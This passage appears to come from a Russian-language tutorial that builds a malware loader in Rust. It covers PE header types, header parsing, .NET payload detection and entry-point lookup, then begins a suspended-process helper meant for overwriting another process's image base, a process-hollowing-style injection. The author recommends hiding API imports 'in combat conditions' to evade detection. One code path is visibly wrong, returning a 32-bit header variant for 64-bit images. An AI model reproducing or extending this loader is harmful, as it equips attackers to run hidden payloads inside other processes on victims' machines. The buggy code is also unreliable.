#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_FILE_CHARACTERISTICS(pub u16);

impl IMAGE_FILE_CHARACTERISTICS {
    pub const fn contains(&self, other: Self) -> bool {
        self.0 & other.0 == other.0
    }
}
impl core::ops::BitOr for IMAGE_FILE_CHARACTERISTICS {
    type Output = Self;
    fn bitor(self, other: Self) -> Self {
        Self(self.0 | other.0)
    }
}
impl core::ops::BitAnd for IMAGE_FILE_CHARACTERISTICS {
    type Output = Self;
    fn bitand(self, other: Self) -> Self {
        Self(self.0 & other.0)
    }
}
impl core::ops::BitXor for IMAGE_FILE_CHARACTERISTICS {
    type Output = Self;
    fn bitxor(self, other: Self) -> Self {
        Self(self.0 ^ other.0)
    }
}
impl core::ops::BitOrAssign for IMAGE_FILE_CHARACTERISTICS {
    fn bitor_assign(&mut self, other: Self) {
        self.0.bitor_assign(other.0)
    }
}
impl core::ops::BitAndAssign for IMAGE_FILE_CHARACTERISTICS {
    fn bitand_assign(&mut self, other: Self) {
        self.0.bitand_assign(other.0)
    }
}
impl core::ops::BitXorAssign for IMAGE_FILE_CHARACTERISTICS {
    fn bitxor_assign(&mut self, other: Self) {
        self.0.bitxor_assign(other.0)
    }
}
impl core::ops::Not for IMAGE_FILE_CHARACTERISTICS {
    type Output = Self;
    fn not(self) -> Self {
        Self(self.0.not())
    }
}
#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_FILE_CHARACTERISTICS2(pub u32);
impl IMAGE_FILE_CHARACTERISTICS2 {
    pub const fn contains(&self, other: Self) -> bool {
        self.0 & other.0 == other.0
    }
}
impl core::ops::BitOr for IMAGE_FILE_CHARACTERISTICS2 {
    type Output = Self;
    fn bitor(self, other: Self) -> Self {
        Self(self.0 | other.0)
    }
}
impl core::ops::BitAnd for IMAGE_FILE_CHARACTERISTICS2 {
    type Output = Self;
    fn bitand(self, other: Self) -> Self {
        Self(self.0 & other.0)
    }
}
impl core::ops::BitXor for IMAGE_FILE_CHARACTERISTICS2 {
    type Output = Self;
    fn bitxor(self, other: Self) -> Self {
        Self(self.0 ^ other.0)
    }
}
impl core::ops::BitOrAssign for IMAGE_FILE_CHARACTERISTICS2 {
    fn bitor_assign(&mut self, other: Self) {
        self.0.bitor_assign(other.0)
    }
}
impl core::ops::BitAndAssign for IMAGE_FILE_CHARACTERISTICS2 {
    fn bitand_assign(&mut self, other: Self) {
        self.0.bitand_assign(other.0)
    }
}
impl core::ops::BitXorAssign for IMAGE_FILE_CHARACTERISTICS2 {
    fn bitxor_assign(&mut self, other: Self) {
        self.0.bitxor_assign(other.0)
    }
}
impl core::ops::Not for IMAGE_FILE_CHARACTERISTICS2 {
    type Output = Self;
    fn not(self) -> Self {
        Self(self.0.not())
    }
}
pub const IMAGE_FILE_DEBUG_STRIPPED: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(512u16);
pub const IMAGE_FILE_DEBUG_STRIPPED2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(512u32);
pub const IMAGE_FILE_DLL: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(8192u16);
pub const IMAGE_FILE_DLL_2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(8192u32);
pub const IMAGE_FILE_EXECUTABLE_IMAGE: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(2u16);
pub const IMAGE_FILE_EXECUTABLE_IMAGE2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(2u32);
pub const IMAGE_FILE_LARGE_ADDRESS_AWARE: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(32u16);
pub const IMAGE_FILE_LARGE_ADDRESS_AWARE2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(32u32);
pub const IMAGE_FILE_LINE_NUMS_STRIPPED: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(4u16);
pub const IMAGE_FILE_LINE_NUMS_STRIPPED2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(4u32);
pub const IMAGE_FILE_LOCAL_SYMS_STRIPPED: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(8u16);
pub const IMAGE_FILE_LOCAL_SYMS_STRIPPED2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(8u32);
pub const IMAGE_FILE_NET_RUN_FROM_SWAP: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(2048u16);
pub const IMAGE_FILE_NET_RUN_FROM_SWAP2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(2048u32);
pub const IMAGE_FILE_RELOCS_STRIPPED: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(1u16);
pub const IMAGE_FILE_RELOCS_STRIPPED2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(1u32);
pub const IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(1024u16);
pub const IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(1024u32);
pub const IMAGE_FILE_SYSTEM: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(4096u16);
pub const IMAGE_FILE_SYSTEM_2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(4096u32);
pub const IMAGE_FILE_UP_SYSTEM_ONLY: IMAGE_FILE_CHARACTERISTICS = IMAGE_FILE_CHARACTERISTICS(16384u16);
pub const IMAGE_FILE_UP_SYSTEM_ONLY_2: IMAGE_FILE_CHARACTERISTICS2 = IMAGE_FILE_CHARACTERISTICS2(16384u32);

#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_SUBSYSTEM(pub u16);
pub const IMAGE_SUBSYSTEM_EFI_APPLICATION: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(10u16);
pub const IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(11u16);
pub const IMAGE_SUBSYSTEM_EFI_ROM: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(13u16);
pub const IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(12u16);
pub const IMAGE_SUBSYSTEM_NATIVE: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(1u16);
pub const IMAGE_SUBSYSTEM_NATIVE_WINDOWS: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(8u16);
pub const IMAGE_SUBSYSTEM_OS2_CUI: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(5u16);
pub const IMAGE_SUBSYSTEM_POSIX_CUI: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(7u16);
pub const IMAGE_SUBSYSTEM_UNKNOWN: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(0u16);
pub const IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(16u16);
pub const IMAGE_SUBSYSTEM_WINDOWS_CE_GUI: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(9u16);
pub const IMAGE_SUBSYSTEM_WINDOWS_CUI: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(3u16);
pub const IMAGE_SUBSYSTEM_WINDOWS_GUI: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(2u16);
pub const IMAGE_SUBSYSTEM_XBOX: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(14u16);
pub const IMAGE_SUBSYSTEM_XBOX_CODE_CATALOG: IMAGE_SUBSYSTEM = IMAGE_SUBSYSTEM(17u16);

pub const IMAGE_DLLCHARACTERISTICS_APPCONTAINER: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(4096u16);
pub const IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(64u16);
pub const IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(1u16);
pub const IMAGE_DLLCHARACTERISTICS_EX_CET_COMPAT_STRICT_MODE: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(2u16);
pub const IMAGE_DLLCHARACTERISTICS_EX_CET_DYNAMIC_APIS_ALLOW_IN_PROC: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(8u16);
pub const IMAGE_DLLCHARACTERISTICS_EX_CET_RESERVED_1: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(16u16);
pub const IMAGE_DLLCHARACTERISTICS_EX_CET_RESERVED_2: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(32u16);
pub const IMAGE_DLLCHARACTERISTICS_EX_CET_SET_CONTEXT_IP_VALIDATION_RELAXED_MODE: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(4u16);
pub const IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(128u16);
pub const IMAGE_DLLCHARACTERISTICS_GUARD_CF: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(16384u16);
pub const IMAGE_DLLCHARACTERISTICS_HIGH_ENTROPY_VA: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(32u16);
pub const IMAGE_DLLCHARACTERISTICS_NO_BIND: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(2048u16);
pub const IMAGE_DLLCHARACTERISTICS_NO_ISOLATION: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(512u16);
pub const IMAGE_DLLCHARACTERISTICS_NO_SEH: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(1024u16);
pub const IMAGE_DLLCHARACTERISTICS_NX_COMPAT: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(256u16);
pub const IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(32768u16);
pub const IMAGE_DLLCHARACTERISTICS_WDM_DRIVER: IMAGE_DLL_CHARACTERISTICS = IMAGE_DLL_CHARACTERISTICS(8192u16);
#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_DLL_CHARACTERISTICS(pub u16);
impl IMAGE_DLL_CHARACTERISTICS {
    pub const fn contains(&self, other: Self) -> bool {
        self.0 & other.0 == other.0
    }
}
impl core::ops::BitOr for IMAGE_DLL_CHARACTERISTICS {
    type Output = Self;
    fn bitor(self, other: Self) -> Self {
        Self(self.0 | other.0)
    }
}
impl core::ops::BitAnd for IMAGE_DLL_CHARACTERISTICS {
    type Output = Self;
    fn bitand(self, other: Self) -> Self {
        Self(self.0 & other.0)
    }
}
impl core::ops::BitXor for IMAGE_DLL_CHARACTERISTICS {
    type Output = Self;
    fn bitxor(self, other: Self) -> Self {
        Self(self.0 ^ other.0)
    }
}
impl core::ops::BitOrAssign for IMAGE_DLL_CHARACTERISTICS {
    fn bitor_assign(&mut self, other: Self) {
        self.0.bitor_assign(other.0)
    }
}
impl core::ops::BitAndAssign for IMAGE_DLL_CHARACTERISTICS {
    fn bitand_assign(&mut self, other: Self) {
        self.0.bitand_assign(other.0)
    }
}
impl core::ops::BitXorAssign for IMAGE_DLL_CHARACTERISTICS {
    fn bitxor_assign(&mut self, other: Self) {
        self.0.bitxor_assign(other.0)
    }
}
impl core::ops::Not for IMAGE_DLL_CHARACTERISTICS {
    type Output = Self;
    fn not(self) -> Self {
        Self(self.0.not())
    }
}

Фух, довольно объёмисто получилось. Теперь объясню, что за ужас тут творится:
  1. Пометка #[repr(transparent)] заставляет компилятор сохранить размер и выравнивание полностью аналогичными оборачиваемому типу. Конкретно тут мы обернули u16, поэтому наш тип всегда будет в памяти выглядеть как обычное целое беззнаковое 16-битное число;
  2. Для некоторых типов мы добавили автоматическую реализацию трейтов PartialOrd и Ord, которые нужны для сравнения через больше и меньше;
  3. Пометка #[allow(non_snake_case)] убирает предупреждения линтера, что вообще-то в Rust структуры принято писать в snake_case нотации;
  4. Мы также вручную для нескольких типов перегрузили операторы побитовых операций: core::ops::BitOr и core::ops::BitOrAssign нужны для побитового ИЛИ (|, |=), core::ops::BitAnd и core::ops::BitAndAssign — для побитового И (&, &=), core::ops::BitXor и core::ops::BitXorAssign — для побитового исключающего ИЛИ (^, ^=), core::ops::Not — для побитового НЕ (в Си это оператор ~, тут обычный !). Впрочем, мы их перегружаем лишь для большего понимания возможностей языка Rust, так-то обычно для генерации типов с битовыми флагами используют крейт bitflags
При реализации этой техники мы обратимся к только что объявленным заголовкам всего три раза: в первый раз чтоб определить разрядность пейлода (32- или 64-бита), во второй — чтоб определить, является ли пейлод .NET, ну и в третий — чтоб получить RVA адрес точки входа.

Итак, для начала нам нужно получить DOS хэдер и провалидировать, а DOS хэдер ли это в принципе. Всю логику мы вынесем в трейт PE, чтоб нам было проще масштабировать код в будущем.
Code:
/// ... Внутри трейта PE

fn offset_to_ptr(&self, offset: usize) -> PeResult<*const u8> {
    if offset >= self.image_buffer_size() {
        return Err(PeError::OutOfBounds(self.image_buffer_size(), offset));
    };
    debug_assert!(!self.is_null());
    // SAFETY: Мы подразумеваем, что если офсет меньше размера буфера, то числового переполнения быть не может
    unsafe { Ok(self.image_base().add(offset)) }
}

fn get_aligned_ref<T: Copy>(&self, offset: usize) -> PeResult<&T> {
    // Проверяем выравнивание указателя
    let align = std::mem::align_of::<T>();
    if offset % align != 0 {
        return Err(PeError::AlignmentMismatch(offset, align));
    };

    // Проверяем офсет на валидность в пределах нашего буфера
    let size = std::mem::size_of::<T>();
    let end = offset.checked_add(size).ok_or(PeBufferError::NumericOverflow)?;
    if end > self.image_buffer_size() {
        return Err(PeError::OutOfBounds(self.len(), end));
    };
    let ptr = self.offset_to_ptr(offset)?;
    Ok(unsafe { &*(ptr as *const T) })
}

fn get_dos_header(&self) -> PeResult<&IMAGE_DOS_HEADER> {
    let dos = self.get_aligned_ref::<IMAGE_DOS_HEADER>(0)?;
    if dos.e_magic != IMAGE_DOS_SIGNATURE {
        return Err(PeError::NotMz);
    };
    Ok(dos)
}

fn get_nt_headers_offset(&self) -> PeResult<usize> {
    let dos = self.get_dos_header()?;

    // Поскольку e_lfanew знаковый тип, нам необходимо проверять его на переполнение через крейт az
    // В случае возникновения переполнения в дебаг сборке процесс упадёт с паникой
    Ok(dos.e_lfanew.az::<usize>())
}

#[must_use]
fn is_32bit(&self) -> PeBufferResult<bool> {
    let nt_offset = self.get_nt_headers_offset()?;
    // У IMAGE_NT_HEADERS32 и IMAGE_NT_HEADERS64 одинаковое смещение до IMAGE_OPTIONAL_HEADER*
    // Поэтому мы можем безопасно реинтерпретировать его как 32-битную версию
    let nt_headers32 = self.get_aligned_ref::<IMAGE_NT_HEADERS32>(nt_offset)?;

    // Проверка сигнатуры NT хэдера
    if nt_headers32.Signature != IMAGE_NT_SIGNATURE {
        return Err(PeBufferError::NotNtSignature);
    };
    // Magic это первое поле в структуре IMAGE_OPTIONAL_HEADER*, в обоих версиях имеющее тип u32
    Ok(nt_headers32.OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)
}

Теперь, чтоб нам удобнее было работать с разными разрядностями у NT хэдеров, создадим enum:
Code:
pub enum ImageNtHeaders<'data> {
    NtHeaders32(&'data IMAGE_NT_HEADERS32),
    NtHeaders64(&'data IMAGE_NT_HEADERS64),
}

Вот эта странная именнованная штука после апострофа называется маркером времени жизни. Rust очень беспокоится за вас, чтоб вы не выстрелили себе в ногу, поэтому, если ваш тип владеет ссылкой, вам нужно специально пометить время жизни этой ссылки, чтоб компилятор не ругался.

Теперь добавим логику получения directory entry — нам это понадобится, чтоб проверять, является ли пейлод .NET приложением. Заодно объявим тип IMAGE_DIRECTORY_ENTRY:
Code:
#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct IMAGE_DIRECTORY_ENTRY(pub u16);

pub const IMAGE_DIRECTORY_ENTRY_ARCHITECTURE: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(7u16);
pub const IMAGE_DIRECTORY_ENTRY_BASERELOC: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(5u16);
pub const IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(11u16);
pub const IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(14u16);
pub const IMAGE_DIRECTORY_ENTRY_DEBUG: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(6u16);
pub const IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(13u16);
pub const IMAGE_DIRECTORY_ENTRY_EXCEPTION: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(3u16);
pub const IMAGE_DIRECTORY_ENTRY_EXPORT: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(0u16);
pub const IMAGE_DIRECTORY_ENTRY_GLOBALPTR: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(8u16);
pub const IMAGE_DIRECTORY_ENTRY_IAT: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(12u16);
pub const IMAGE_DIRECTORY_ENTRY_IMPORT: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(1u16);
pub const IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(10u16);
pub const IMAGE_DIRECTORY_ENTRY_RESOURCE: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(2u16);
pub const IMAGE_DIRECTORY_ENTRY_SECURITY: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(4u16);
pub const IMAGE_DIRECTORY_ENTRY_TLS: IMAGE_DIRECTORY_ENTRY = IMAGE_DIRECTORY_ENTRY(9u16);

impl<'data> ImageNtHeaders<'data> {
    fn get_directory_entry(&self, dir_id: IMAGE_DIRECTORY_ENTRY) -> &IMAGE_DATA_DIRECTORY {
        debug_assert!(dir_id <= IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR);
        match self {
            ImageNtHeaders::NtHeaders32(nt) => &nt.OptionalHeader.DataDirectory(dir_id.0 as usize),
            ImageNtHeaders::NtHeaders64(nt) => &nt.OptionalHeader.DataDirectory(dir_id.0 as usize),
        }
    }
    
    fn get_entry_point_rva(&self) -> u32 {
        match self {
            ImageNtHeaders::NtHeaders32(nt) => nt.OptionalHeader.AddressOfEntryPoint,
            ImageNtHeaders::NtHeaders64(nt) => nt.OptionalHeader.AddressOfEntryPoint,
        }
    }
}

По поводу debug_assert!: как вы уже заметили, я их использую постоянно, чтоб на этапе разработки предотвратить неправильное использование (мизъюзинг) функций, но при этом убрав эти проверки в релизе, шоб не мешались. Если вам по какой-то причине нужны эти проверки в релизном билде, можно использовать обычный assert!. Если вы пишете на C++, настоятельно рекомендую там тоже использовать assert макрос из стандартной библиотеки или DCHECK макросы из Absl.

Стоит подчеркнуть, что ассерты созданы для того, чтоб предотвратить неправильное использование функции. Если же, например, вы хотите, чтоб ваша функция умела обрабатывать неверные аргументы, вы добавляете явную проверку и возвращаете ошибку (или бросаете, как в Java/C# и иногда в C++). Понимание разницы между ассертами и явными проверками в дальнейшем поможет строить хорошую архитектуру, производительность которой не будет страдать от излишних проверок.

Вернёмся к нашему трейту PE и добавим ему функцию проверки на .NET:
Code:
/// Внутри трейта PE

fn get_nt_headers<'data>(&'data self) -> PeResult<ImageNtHeaders<'data>> {
    let nt_offset = self.get_nt_headers_offset()?;
    let is_32bit = self.is_32bit()?;
    
    match is_32bit {
        true => {
            let nt = self.get_aligned_ref::<IMAGE_NT_HEADERS32>(nt_offset)?;
            if nt.Signature != IMAGE_NT_SIGNATURE {
                return Err(PeError::NotNtSignature);
            };
            Ok(ImageNtHeaders:: NtHeaders32(nt))
        },
        false => {
            let nt = self.get_aligned_ref::<IMAGE_NT_HEADERS64>(nt_offset)?;
            if nt.Signature != IMAGE_NT_SIGNATURE {
                return Err(PeError::NotNtSignature);
            };
            Ok(ImageNtHeaders:: NtHeaders32(nt))
        },
    }
}

fn get_directory_entry_descriptor(&self, dir_id: IMAGE_DIRECTORY_ENTRY) -> PeResult<IMAGE_DATA_DIRECTORY> {
    let nt = self.get_nt_headers()?;
    let descriptor = nt.get_directory_entry(dir_id);
    Ok(descriptor.clone())
}

fn is_dotnet(&self) -> PeResult<bool> {
    let dotnet_dir = self.get_directory_entry_descriptor(IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR)?;
    Ok(dotnet_dir.VirtualAddress != 0 && dotnet_dir.Size != 0)
}

fn get_entry_point_rva(&self) -> PeResult<u32> {
    let nt = self.get_nt_headers()?;
    Ok(nt.get_entry_point_rva())
}

Проверка на .NET просто проверяет директорию IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR: если она существует, значит перед нами .NET бинарь. Плюсом мы добавили возможность получать RVA адрес точки входа приложения — он нам понадобится позже.

Вернёмся к нашим VecPe и PtrPe. Для удобства тестирования добавим метод, который будет создавать VecPe из файла на диске.
Code:
use std::path::Path;
use std::fs;

impl VecPe {

    pub fn from_file<P: AsRef<Path>>(file: P) -> PeResult<Self> {
        let mut buffer = fs::read(file)?;

        let ptr_pe = PtrPe::from(buffer.as_mut_slice());
        let _ = ptr_pe.get_nt_headers()?;

        Ok(VecPe(buffer))
    }
}

В этом фрагменте кода кроется ещё один плюс Rust: он по умолчанию мувает объекты (разработчики на C++ должны вспомнить семантику перемещения), а не копировать; чтоб что-то скопировать, надо явно это компилятору сказать. Аналогичный код на C++ может будет оптимизирован компилятором до использования перемещения, а может и не будет, поэтому там пришлось бы явно вызывать std::move для буфера.

Помимо этого, вы можете лицезреть силу дженериков из Раста: здесь, благодаря системе трейтов, по дефолту встроена система ограничений для типов, передающихся в шаблон. Не нужно, как в С++, ждать 20 стандарта ради тамошней системы концептов. Но в защиту C++ отмечу, что в Rust отсутствует variadic template, что, впрочем, компенсируется мощью местных макросов.

6. Работа с ОС

Теперь нам нужно выстроить взаимоотношение с операционной системой, а именно вызвать несколько функций, чтоб: создать исполняемую секцию (а для этого нам придётся открыть файл), получить и изменить контекст программного потока, перезаписать значение базового адреса в виртуальной памяти другого процесса.

Для удобства линкования будем использовать крейт windows_link от Microsoft (cargo add windows_link). В боевых условиях я рекомендую заменить его на ручную подгрузку необходимых API функций через вызов LoadLibraryA/W и самописного GetProcAddress, реализация которого на Rust у меня есть, так что если захотите, расскажу о ней в следующей статье (поддерживает импорт по ординалам и форвард экспорты). Помимо этого, я буду использовать крейт widestring для работы с широкими (UTF-16) строками Windows и крейт phnt для работы с некоторыми незадоментированными API и структурами (включая PEB), объяснение значения которых потянет на отдельную статью из-за их большого объёма и debug_print для принтов, которые не будут печататься в релизной сборке.
Code:
use phnt::ffi::{TEB, PEB};
use phnt::ext::NtCurrentTeb;
use debug_print::debug_println as dprintln;

pub type HANDLE = *mut std::ffi::c_void;
pub type PWSTR = *mut u16;
pub type PCWSTR = *const u16;
pub type BOOL = i32;

pub const FALSE: BOOL = 0i32;

#[repr(transparent)]
#[derive(Clone, Copy, Default, Eq, PartialEq, PartialOrd, Ord)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct PROCESS_CREATION_FLAGS(pub u32);
impl PROCESS_CREATION_FLAGS {
    pub const fn contains(&self, other: Self) -> bool {
        self.0 & other.0 == other.0
    }
}
impl core::ops::BitOr for PROCESS_CREATION_FLAGS {
    type Output = Self;
    fn bitor(self, other: Self) -> Self {
        Self(self.0 | other.0)
    }
}
impl core::ops::BitAnd for PROCESS_CREATION_FLAGS {
    type Output = Self;
    fn bitand(self, other: Self) -> Self {
        Self(self.0 & other.0)
    }
}
impl core::ops::BitXor for PROCESS_CREATION_FLAGS {
    type Output = Self;
    fn bitxor(self, other: Self) -> Self {
        Self(self.0 ^ other.0)
    }
}
impl core::ops::BitOrAssign for PROCESS_CREATION_FLAGS {
    fn bitor_assign(&mut self, other: Self) {
        self.0.bitor_assign(other.0)
    }
}
impl core::ops::BitAndAssign for PROCESS_CREATION_FLAGS {
    fn bitand_assign(&mut self, other: Self) {
        self.0.bitand_assign(other.0)
    }
}
impl core::ops::BitXorAssign for PROCESS_CREATION_FLAGS {
    fn bitxor_assign(&mut self, other: Self) {
        self.0.bitxor_assign(other.0)
    }
}
impl core::ops::Not for PROCESS_CREATION_FLAGS {
    type Output = Self;
    fn not(self) -> Self {
        Self(self.0.not())
    }
}

pub const CREATE_PROTECTED_PROCESS: PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS(262144u32);
pub const CREATE_SECURE_PROCESS: PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS(4194304u32);
pub const CREATE_SEPARATE_WOW_VDM: PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS(2048u32);
pub const CREATE_SHARED_WOW_VDM: PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS(4096u32);
pub const CREATE_SUSPENDED: PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS(4u32);
pub const CREATE_UNICODE_ENVIRONMENT: PROCESS_CREATION_FLAGS = PROCESS_CREATION_FLAGS(1024u32);

pub const INVALID_HANDLE_VALUE: HANDLE = -1i32 as _;

#[repr(transparent)]
#[derive(PartialEq, Eq, Default)]
#[cfg_attr(debug_assertions, derive(Debug))]
pub struct ScopedHandle(pub HANDLE);
impl ScopedHandle {
    pub fn is_invalid(&self) -> bool {
        self.0 == INVALID_HANDLE_VALUE || self.0.is_null()
    }

    #[inline]
    pub fn new(h: HANDLE) -> Self {
        Self(h)
    }
}
impl From<HANDLE> for ScopedHandle {
    #[inline]
    fn from(value: HANDLE) -> Self {
        Self::new(value)
    }
}

impl Drop for ScopedHandle {
    #[inline]
    fn drop(&mut self) {
        if !self.is_invalid() {
            windows_link::link!("ntdll.dll" "system" fn NtClose(hobject: HANDLE) -> NTSTATUS);
            unsafe {
                let status = NtClose(self.0);
                debug_assert!(status.is_ok());
            }
        }
    }
}

#[inline]
pub fn nt_currebt_teb() -> &'static mut TEB {
    unsafe { NtCurrentTeb().as_mut_unchecked() }
}

#[inline]
pub fn nt_current_peb() -> &'static mut PEB {
    let teb = nt_currebt_teb();
    unsafe { teb.ProcessEnvironmentBlock.as_mut_unchecked() }
}

#[inline]
pub fn get_last_error() -> u32 {
    let teb = nt_currebt_teb();
    teb.LastErrorValue
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct SECURITY_ATTRIBUTES {
    pub nLength: u32,
    pub lpSecurityDescriptor: HANDLE,
    pub bInheritHandle: BOOL,
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct STARTUPINFOW {
    pub cb: u32,
    pub lpReserved: PWSTR,
    pub lpDesktop: PWSTR,
    pub lpTitle: PWSTR,
    pub dwX: u32,
    pub dwY: u32,
    pub dwXSize: u32,
    pub dwYSize: u32,
    pub dwXCountChars: u32,
    pub dwYCountChars: u32,
    pub dwFillAttribute: u32,
    pub dwFlags: u32,
    pub wShowWindow: u16,
    pub cbReserved2: u16,
    pub lpReserved2: *mut u8,
    pub hStdInput: HANDLE,
    pub hStdOutput: HANDLE,
    pub hStdError: HANDLE,
}

#[repr(C)]
#[derive(Clone, Copy, Default, PartialEq, Eq)]
#[cfg_attr(debug_assertions, derive(Debug))]
#[allow(non_snake_case)]
pub struct PROCESS_INFORMATION {
    pub hProcess: HANDLE,
    pub hThread: HANDLE,
    pub dwProcessId: u32,
    pub dwThreadId: u32,
}

#[inline]
fn empty_startup_info() -> STARTUPINFOW {
    let mut si = STARTUPINFOW::default();
    si.cb = std::mem::size_of::<STARTUPINFOW>() as u32;
    si
}

pub fn create_suspended_process<S: AsRef<widestring::U16CStr> + ?Sized>(
    path: &S,
